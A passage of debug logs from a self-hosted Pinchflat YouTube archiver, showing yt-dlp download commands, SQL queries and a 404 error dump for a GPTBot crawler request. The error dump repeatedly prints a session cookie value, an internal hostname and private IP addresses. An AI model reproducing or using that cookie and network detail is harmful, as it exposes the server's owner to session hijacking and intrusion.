--windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:23:32.943 [debug] Running yt-dlp command for action: download 22:23:32.943 [debug] QUERY OK source="settings" db=0.1ms idle=613.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:32.943 [debug] QUERY OK source="settings" db=0.0ms idle=613.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:32.943 [debug] QUERY OK source="settings" db=0.0ms idle=226.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:32.943 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=PGLmrQerS6I --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/d2/60/d260600319eaa6afa91942a1d2cd9dc3c58e27594098ba1402e154309c9e7231.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:23:58.883 [info] {"source":"oban","duration":805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:00.661 [info] {"source":"oban","duration":212,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:24:28.885 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:35.149 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=8hrgGfOf49g --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/3b/d3/3bd35a3ba1289931967ab345382f0639d4bb3e0a754577e976f482822c982eb1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:24:35.164 [debug] Running yt-dlp command for action: download_thumbnail 22:24:35.164 [debug] QUERY OK source="settings" db=0.1ms idle=1102.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:24:35.165 [debug] QUERY OK source="settings" db=0.0ms idle=1102.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:24:35.165 [debug] QUERY OK source="settings" db=0.0ms idle=1102.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:24:35.165 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=8hrgGfOf49g --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/87/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/76/7c/767ccc2716f591890cc4a1ac9ab5371e7538b35f059d2afe21c778350b213f95.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:24:37.195 [info] GET /sources/1/media/113/force_download 22:24:37.195 [debug] QUERY OK source="settings" db=0.1ms idle=1079.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:24:37.195 [debug] QUERY OK source="settings" db=0.0ms idle=133.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:24:37.196 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:24:37.196 [error] #PID<0.4748.0> running PinchflatWeb.Endpoint (connection #PID<0.4747.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/media/113/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/113/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4747.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/113/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 44426}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/113", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU" }, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4748.0>, params: %{}, path_info: ["sources", "1", "media", "113", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1/media/113"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/media/113/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDgHw-q1uHBCHoAATcC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4747.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/113/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 44426}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/113", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/113/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4747.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/113/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 44426}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSVZWMS1Cbk0zb1ZzcEtiU0ctT1JqdUFj.PWgD0xPlKglH5482ROhDK9IayyN42_XZTpP6Mw9gTYU", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/113", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", bo (truncated) 22:24:37.957 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=8hrgGfOf49g --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/87/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/76/7c/767ccc2716f591890cc4a1ac9ab5371e7538b35f059d2afe21c778350b213f95.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:24:37.957 [debug] QUERY OK db=0.0ms idle=894.8ms begin [] 22:24:37.958 [debug] QUERY OK source="media_items" db=0.5ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:24:35Z], "/downloads/Last Meals/2024-10-17 Matty Matheson Eats His Last Meal/Matty Matheson Eats His Last Meal [8hrgGfOf49g].mp4", ~U[2026-03-28 02:24:37Z], 87] 22:24:37.958 [debug] QUERY OK source="media_metadata" db=0.4ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/87/metadata.json.gz", "/config/metadata/media_items/87/thumbnail.jpg", 87, ~U[2026-03-28 02:24:37Z], ~U[2026-03-28 02:24:37Z]] 22:24:37.958 [debug] QUERY OK db=0.0ms commit [] 22:24:37.969 [debug] QUERY OK source="media_items" db=0.8ms idle=905.6ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [455389371, ~U[2026-03-28 02:24:37Z], 87] 22:24:37.969 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:24:37.969 [info] {"args":{"id":87},"id":86,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":204427476,"event":"job:stop","queue_time":5545541387,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:24:37.969 [debug] QUERY OK source="tasks" db=0.2ms idle=773.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:24:37.969 [debug] QUERY OK source="tasks" db=0.3ms idle=773.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:24:37.970 [debug] QUERY OK source="media_items" db=0.1ms idle=11.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89] 22:24:37.970 [debug] QUERY OK source="media_items" db=0.5ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89] 22:24:37.975 [info] {"args":{"id":90},"id":89,"meta":{},"system_time":1774664677975769099,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:24:37.976 [debug] QUERY OK source="media_items" db=0.1ms idle=6.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90] 22:24:37.976 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:24:37.976 [debug] QUERY OK source="sources" db=0.3ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:24:37.976 [debug] QUERY OK source="tasks" db=0.6ms idle=5.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:24:37.976 [debug] QUERY OK source="tasks" db=0.6ms idle=6.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:24:37.976 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:24:37.977 [debug] QUERY OK source="media_items" db=0.2ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [89, 90] 22:24:37.977 [debug] QUERY OK source="media_items" db=0.4ms idle=0.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [89, 90] 22:24:37.977 [debug] QUERY OK source="media_items" db=0.3ms idle=0.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [90] 22:24:37.977 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [90] 22:24:37.978 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:24:37.978 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:24:37.978 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:24:37.978 [debug] Running yt-dlp command for action: get_downloadable_status 22:24:37.978 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:24:37.978 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:24:37.978 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:24:37.979 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=uEQ6z0rbn30 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ab/e6/abe63f019861de1986c78d7aee72fbae6b8f9d6aaba17c6f939faf528279421e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:24:40.730 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=uEQ6z0rbn30 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ab/e6/abe63f019861de1986c78d7aee72fbae6b8f9d6aaba17c6f939faf528279421e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:24:40.730 [debug] Running yt-dlp command for action: download 22:24:40.730 [debug] QUERY OK source="settings" db=0.2ms idle=1667.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:24:40.730 [debug] QUERY OK source="settings" db=0.0ms idle=1668.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:24:40.731 [debug] QUERY OK source="settings" db=0.1ms idle=1668.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:24:40.731 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=uEQ6z0rbn30 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output 